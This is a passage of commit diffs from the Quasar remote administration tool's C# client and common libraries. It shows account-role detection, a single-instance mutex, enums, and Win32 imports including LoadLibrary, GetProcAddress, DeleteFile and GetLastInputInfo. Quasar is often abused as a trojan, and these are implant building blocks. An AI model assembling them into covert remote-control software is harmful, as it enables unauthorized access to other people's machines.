if (principal.IsInRole(WindowsBuiltInRole.Administrator))
{
Type = AccountType.Admin;
}
else if (principal.IsInRole(WindowsBuiltInRole.User))
{
Type = AccountType.User;
}
else if (principal.IsInRole(WindowsBuiltInRole.Guest))
{
Type = AccountType.Guest;
}
else
{
Type = AccountType.Unknown;
}
}
}
}
}

View File

@ -18,16 +18,15 @@ internal struct LASTINPUTINFO
[MarshalAs(UnmanagedType.U4)] public UInt32 dwTime;
}
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool DeleteFile(string name);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", SetLastError = true)]
internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize);
[DllImport("user32.dll")]
internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);

View File

@ -3,27 +3,60 @@
namespace Quasar.Client.Utilities
{
/// <summary>
/// A system-wide mutex that ensures that only one instance runs at a time.
/// </summary>
public class SingleInstanceMutex : IDisposable
{
/// <summary>
/// The mutex used for process synchronization.
/// </summary>
private readonly Mutex _appMutex;
/// <summary>
/// Represents if the mutex was created on the system or it already existed.
/// </summary>
public bool CreatedNew { get; }
/// <summary>
/// Determines if the instance is disposed and should not be used anymore.
/// </summary>
public bool IsDisposed { get; private set; }
/// <summary>
/// Initializes a new instance of <see cref="SingleInstanceMutex"/> using the given mutex name.
/// </summary>
/// <param name="name">The name of the mutex.</param>
public SingleInstanceMutex(string name)
{
_appMutex = new Mutex(false, name, out var createdNew);
CreatedNew = createdNew;
}
/// <summary>
/// Releases all resources used by this <see cref="SingleInstanceMutex"/>.
/// </summary>
public void Dispose()
{
if (!IsDisposed)
Dispose(true);
GC.SuppressFinalize(this);
}
/// <summary>
/// Releases the mutex object.
/// </summary>
/// <param name="disposing"><c>True</c> if called from <see cref="Dispose"/>, <c>false</c> if called from the finalizer.</param>
protected virtual void Dispose(bool disposing)
{
if (IsDisposed)
return;
if (disposing)
{
_appMutex?.Dispose();
IsDisposed = true;
}
IsDisposed = true;
}
}
}

View File

@ -0,0 +1,10 @@
namespace Quasar.Common.Enums
{
public enum AccountType
{
Admin,
User,
Guest,
Unknown
}
}

View File

@ -2,7 +2,7 @@
{
public enum UserStatus
{
Idle,
Active
Active,
Idle
}
}

View File

@ -5,7 +5,7 @@
namespace Quasar.Common.Messages
{
/// <summary>
/// Handles registration of <see cref="IMessageProcessor"/>s and processing of <see cref="IMessage"/>s.
/// Handles registrations of <see cref="IMessageProcessor"/>s and processing of <see cref="IMessage"/>s.
/// </summary>
public static class MessageHandler
{

View File

@ -3,22 +3,25 @@
namespace Quasar.Common
{
/// <summary>
/// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll).
/// </summary>
public class NativeMethods
{
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
internal static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
internal static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
internal static extern int memcpy(IntPtr dst, IntPtr src, uint count);
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
internal static extern unsafe int memcpy(void* dst, void* src, uint count);
public static extern unsafe int memcpy(void* dst, void* src, uint count);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool DeleteFile(string name);
public static extern bool DeleteFile(string name);
}
}